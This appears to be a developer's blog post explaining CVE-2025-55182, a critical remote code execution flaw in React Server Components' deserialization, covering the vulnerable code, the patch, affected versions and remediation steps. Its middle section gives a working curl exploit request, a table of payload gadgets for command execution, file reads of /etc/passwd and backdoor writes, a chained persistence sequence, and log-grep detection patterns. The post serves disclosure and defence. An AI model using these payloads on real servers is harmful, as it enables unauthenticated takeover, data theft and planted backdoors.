José David Baena

CVE-2025-55182: The React2Shell Vulnerability Explained

Banner.jpeg
Published on
/9 mins read

I was reviewing a PR when the security alert hit our team Slack. "CVSS 10.0. React Server Components. Pre-auth RCE." I stopped mid-review. This site runs Next.js 15. So does every project I've shipped this year.

TL;DR: CVE-2025-55182 is a critical remote code execution vulnerability in React 19's Server Components. Attackers can execute arbitrary code through a single HTTP POST request—no authentication, no special configuration, no developer mistakes required. Even a fresh create-next-app project is immediately exploitable in production. Patch now: React 19.0.1/19.1.2/19.2.1 and Next.js 15.0.5+/16.0.7.

Check if you're vulnerable right now:

# Check your React version
npm ls react-server-dom-webpack 2>/dev/null | grep -E "19\.(0\.0|1\.[01]|2\.0)" && echo "⚠️  VULNERABLE" || echo "✓ Not using vulnerable RSC packages"
 
# Check your Next.js version  
npm ls next 2>/dev/null | grep -oE "next@[0-9.]+" | head -1

If you see versions 19.0.0, 19.1.0, 19.1.1, or 19.2.0 for React RSC packages—or Next.js 14.3.0-canary.77 through unpatched 16.x—stop reading and patch first.


Security researcher Lachlan Davidson discovered what's being called the most severe JavaScript ecosystem vulnerability since Log4Shell. Disclosed two days ago on December 3, 2025, this flaw earned the nickname "React2Shell"—and the comparison is earned. It's the fourth major Next.js security incident this year, but the first to hit everyone—Vercel-hosted and self-hosted alike.

According to Wiz Research, 39% of cloud environments contain vulnerable instances. Palo Alto Networks Unit 42 identified over 968,000 servers running affected React/Next.js deployments. If you're running React 19 with Server Components, you're almost certainly affected.

The four-day sprint from discovery to patch

The timeline here is impressive—and terrifying. Davidson reported to Meta's Bug Bounty program on November 29, 2025. Meta confirmed the vulnerability the next day. By December 1st, a fix was ready and coordination with major hosting providers began.

Public disclosure came on December 3, 2025:

What happenedDetails
React patchesVersions 19.0.1, 19.1.2, 19.2.1 published to npm
CVE assignedCVE-2025-55182 with CVSS 10.0
Next.js patchesVersions 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7
Platform protectionsVercel, Cloudflare, Google Cloud, Akamai, Fastly deployed WAF rules

The related CVE confusion: CVE-2025-66478 was initially assigned for Next.js, but the NVD rejected it as a duplicate—Next.js simply inherited the vulnerability from its React dependency. One root cause, one CVE.

Inside the deserialization flaw

The vulnerability lives in React's Flight protocol—the serialization mechanism that transports component trees and Server Function calls between client and server. Three functions in react-server-dom-webpack made this attack possible.

The vulnerable requireModule function

Here's the critical code from version 19.0.0 (around lines 2546-2558):

function requireModule(metadata) {
  var moduleExports = __webpack_require__(metadata[0]);
  if (4 === metadata.length && "function" === typeof moduleExports.then)
    if ("fulfilled" === moduleExports.status) 
      moduleExports = moduleExports.value;
    else 
      throw moduleExports.reason;
  return "*" === metadata[2] ? moduleExports : 
         "" === metadata[2] ? moduleExports.__esModule ? 
         moduleExports.default : moduleExports : 
         moduleExports[metadata[2]]; // <-- VULNERABLE LINE
}

That last line—moduleExports[metadata[2]]—is the problem. JavaScript bracket notation traverses the entire prototype chain, not just the object's own properties. The code never validates that the requested export is a legitimate, developer-defined export.

How attackers exploit the Flight protocol

The exploitation flow:

  1. HTTP POST to any Server Function endpoint (e.g., /formaction)
  2. decodeAction(formData, serverManifest) processes the request
  3. decodeBoundActionMetaData() extracts action metadata
  4. loadServerReference() loads the module and binds arguments
  5. requireModule() resolves the export—here's the vuln
  6. moduleExports[metadata[2]] allows prototype chain traversal

Two supporting functions complete the attack chain:

  • reviveModel: Deserializes JSON from clients. The original implementation lacked __proto__ injection protection, enabling prototype pollution that modifies Object.prototype server-wide.
  • loadServerReference: Takes the bound array from attacker payloads and passes it to fn.bind.apply(), letting attackers specify arbitrary arguments to dangerous functions.

The attack in action

An attacker crafts a malicious HTTP POST to any Server Function endpoint. The payload specifies a module and export name that, through prototype chain traversal, references dangerous Node.js built-ins.

Step-by-step exploitation

Step 1: Send a crafted POST request:

curl -X POST http://target:3000/formaction \
  -F '$ACTION_REF_0=' \
  -F '$ACTION_0:0={"id":"vm#runInThisContext","bound":["require(\"child_process\").execSync(\"whoami\")"]}'

Step 2: The server deserializes the Flight payload, treating vm#runInThisContext as the module/export reference.

Step 3: requireModule resolves vm as a Node.js built-in and accesses runInThisContext via bracket notation.

Step 4: The bound array becomes arguments via fn.bind.apply().

Step 5: Arbitrary JavaScript executes in the server context. Full RCE achieved.

Verified attack gadgets

Security researchers confirmed multiple exploitation paths:

GadgetPayloadWhat it does
vm#runInThisContextrequire("child_process").execSync("id")Direct RCE
vm#runInNewContextthis.constructor.constructor("return process")().mainModule.require("child_process").execSync("whoami")Sandboxed RCE
child_process#execSync["whoami"]Direct command execution
child_process#execFileSync["/bin/sh", ["-c", "id"]]Shell command
fs#readFileSync["/etc/passwd", "utf8"]Arbitrary file read
fs#writeFileSync["/tmp/backdoor.js", "malicious code"]Arbitrary file write

Chained persistence attacks

Even without direct RCE gadgets, attackers can chain file system operations:

// Step 1: Write malicious module
{ id: 'fs#writeFileSync', bound: ['/tmp/evil.js', 'module.exports = require("child_process").execSync("whoami")'] }
 
// Step 2: Load and execute  
{ id: 'module#_load', bound: ['/tmp/evil.js'] }

Why CVSS 10.0 is justified

Every metric at maximum severity: network-accessible, low complexity, no authentication, no user interaction, with complete impact on confidentiality, integrity, and availability. The CVSS 3.1 vector is AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H.

This isn't theoretical—it's a single-request, unauthenticated, complete server takeover.

What's affected

React packages (vulnerable versions: 19.0.0, 19.1.0, 19.1.1, 19.2.0)

  • react-server-dom-webpack
  • react-server-dom-parcel
  • react-server-dom-turbopack

Next.js (all versions from 14.3.0-canary.77 through 16.x before patches)

Other affected frameworks

If you're using React Server Components outside Next.js, check these:

  • React Router (RSC mode)
  • Waku
  • @parcel/rsc
  • @vitejs/plugin-rsc
  • rwsdk (RedwoodSDK)
  • Expo

Exposure statistics

MetricValueSource
Cloud environments affected39%Wiz Research
Cloud environments with Next.js69%Wiz Research
Publicly exposed Next.js instances44%Wiz Research
Public servers identified968,000+Palo Alto Unit 42
JS developers using React82%2024 State of JavaScript

You're already being scanned

A developer reported exploitation attempts within 12 hours of public disclosure. Attackers were scanning routes like /login and /formaction even on low-traffic applications with minimal SEO presence. If it's on the internet, assume it's being probed.

Check your server logs for these patterns:

# Grep for suspicious Server Action payloads
grep -E '\$ACTION_|vm#|child_process#|fs#write|module#_load' /var/log/nginx/access.log
 
# Look for POST requests to common Server Function endpoints
grep -E 'POST.*(formaction|_rsc|__nextjs)' /var/log/nginx/access.log | grep -v 200
 
# Check for vm/child_process references in request bodies (if logging bodies)
zgrep -i 'runInThisContext\|execSync\|spawnSync' /var/log/*/access*.log*

If you find matches with status codes 200 or 500, assume compromise and initiate incident response. Rotate secrets, check for persistence mechanisms, and audit for lateral movement.

How Meta fixed it

React PR #35277 synchronized the FlightReplyServer deserialization logic with previously hardened client-side code. The core fix adds hasOwnProperty checks:

// VULNERABLE (React 19.0.0)
return moduleExports[metadata[2]]; // Traverses prototype chain!
 
// PATCHED (React 19.2.1)
if (hasOwnProperty.call(moduleExports, metadata[2])) 
  return moduleExports[metadata[2]];

Additional changes:

  • hasOwnProperty checks in requireModule to prevent prototype chain traversal
  • Refactored reviveModel to handle __proto__ keys safely during JSON deserialization
  • Strengthened loadServerReference to validate module references against the legitimate server manifest

What you need to do right now

Immediate actions

  1. Upgrade React packages to 19.0.1, 19.1.2, or 19.2.1
  2. Upgrade Next.js to 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, or 16.0.7
  3. Verify WAF protection if using Vercel, Cloudflare, or other protected platforms
  4. Check logs for unusual POST requests to Server Function endpoints
  5. Audit dependencies for frameworks using affected React packages

Platform-level protections already deployed

ProviderStatus
VercelWAF rules auto-deployed for all hosted projects (no cost)
CloudflareManaged WAF rules deployed before public disclosure
Google CloudCloud Armor preconfigured WAF rule (cve-canary) available
AkamaiAdaptive Security Engine Rapid Rule 3000976
FastlyNGWAF Virtual Patch released
FirebaseAutomatic protections for Hosting and App Hosting
NetlifyPlatform-level patch deployed December 3rd at 14:00 UTC

Self-hosted deployments remain fully exposed until you patch. Platform WAF rules only protect platform-hosted applications.

The real lesson: JavaScript's prototype chain is a security liability

The generic advice—"never trust client input"—isn't what makes this vulnerability interesting. What makes it interesting is how the trust was violated.

The expression moduleExports[metadata[2]] looks innocuous. It's just property access, right? But in JavaScript, bracket notation traverses the entire prototype chain. When you write obj["constructor"], you don't get undefined—you get Object. When you write obj["__proto__"], you get the prototype itself. This isn't a bug; it's the language working as designed.

The fix—hasOwnProperty.call(moduleExports, metadata[2])—is a one-liner. But someone had to know to add it. The React team hardened the client-side Flight deserialization years ago. The server-side code, added later for Server Components, missed the same check.

The pattern to internalize: Any time you're accessing object properties with user-controlled keys, you need hasOwnProperty guards. This applies to:

  • Deserialization logic
  • Dynamic property access from URL params, form data, or JSON
  • Any obj[userInput] pattern

ESLint can't catch this. TypeScript won't warn you. It requires developers to know that JavaScript's object model is adversarial by default.

Conclusion

CVE-2025-55182 is the worst-case scenario we always knew was possible: unauthenticated RCE in default configurations of the world's most popular JavaScript framework. The four-day turnaround from report to patch is genuinely impressive. The 39% exposure rate two days later is genuinely terrifying.

I patched my projects within an hour of the disclosure. If you haven't yet, do it now—before you finish reading this sentence.

And if you're feeling generous, Lachlan Davidson probably deserves more than a coffee for this one.


Sources and References

Primary Sources

Exposure Research

Vendor Responses

  • Vercel Changelog: Next.js security patches
  • Cloudflare: Managed WAF rule deployment
  • Google Cloud: Cloud Armor cve-canary rule

CVSS Scoring